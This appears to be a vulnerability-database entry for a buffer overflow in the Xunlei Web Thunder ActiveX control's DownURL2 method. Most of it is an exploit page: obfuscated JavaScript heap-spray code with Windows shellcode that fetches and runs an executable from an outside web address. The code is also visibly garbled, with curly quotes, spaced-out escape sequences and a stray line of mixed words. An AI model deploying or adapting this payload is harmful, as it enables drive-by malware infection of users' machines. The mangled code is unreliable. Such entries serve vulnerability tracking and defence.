Xunlei Web Thunder 5.6.9.344 ActiveX Control DownURL2 Method Remote Buffer Overflow Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Xunlei Web Thunder 5.6.9.344 ActiveX Control DownURL2 Method Remote Buffer Overflow Vulnerabilit


                                                <OBJECT id=target classid=clsid: EEDD6FF9-13DE-496B-9A1C-D78B3215E266></OBJECT>  
 <SCRIPT language=javascript>  
  var she132132132132llc13ode = unescape (“%u9090 " + " %u9090 " +    
 “%uefe9%u0000%u5a00%ua164%u0030%u0000%u408b%u8b0c” +   
 “%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378” +   
 “%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b” +   
 “%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7” +   
 “%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1” +   
 “%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103” +   
 “%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904” +   
 “%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b” +   
 “%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e” +   
 “%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d” +   
 “%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320” +   
 “%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344” +   
 “%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc” +   
 “%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0” +   
 “%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab” +   
 “%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f” +   
 “%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574” +   
 “%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e” +   
 “%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00” +   
 “%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c” +   
 “%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54” +   
 “%u6946%u656c%u0041 " +   
 “%u7468%u7074%u2f3a%u312f%u3176%u6e2e%u6d61%u2f65%u6573%u7672%u7265%u652e%u6578%u0000”); /这 village right watching snow 按 钮 breaking 专 house   
 var IsNop1236326312 = '';   
 var bi3123g123665blo2131ck = unescape (“%u9090%u9090”);   
 var IsNop1236326312 = '';   
 var he132132aders123132ize = 20;   
 var IsNop1236326312 = '';   
 var sl21123112ack312231312space = he132132aders123132ize+she132132132132llc13ode.length;   
 var IsNop1236326312 = '';   
 while (bi3123g123665blo2131ck.length<sl21123112ack312231312space) bi3123g123665blo2131ck+=bi3123g123665blo2131ck;   
 fillblock = bi3123g123665blo2131ck.substring (0, sl21123112ack312231312space);   
 block = bi3123g123665blo2131ck.substring (0, bi3123g123665blo2131ck.length-sl21123112ack312231312space);   
 while (block.length+sl21123112ack312231312space<0x40000) blockblock = block+block+fillblock;   
 memory = new Array ();   
 for (x=0; x<300; x++) memory [x] = block + she132132132132llc13ode;   
 var b1u1231ff312er = '';   
 var IsNop1236326312 = '';   
 var IsNop1236326312 = '';   
 while (b1u1231ff312er.length < 4057) b1u1231ff312er+= " \ x0a \ x0a \ x0a \ x0a ";   
 b1u1231ff312er+= " \ x0a ";   
 b1u1231ff312er+= " \ x0a ";   
 b1u1231ff312er+= " \ x0a ";   
 b1u1231ff312er+= " \ x0a \ x0a \ x0a \ x0a ";   
 b1u1231ff312er+= " \ x0a \ x0a \ x0a \ x0a ";    
 var yes= " 1111 ";   
 target.DownURL2 (b1u1231ff312er, yes, yes and yes);   
 var IsNop1236326312 = '';   
    
 </SCRIPT>  
    
 <body oncontextmenu= " return false " onselectstart= " return false " ondragstart= " return false " >

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1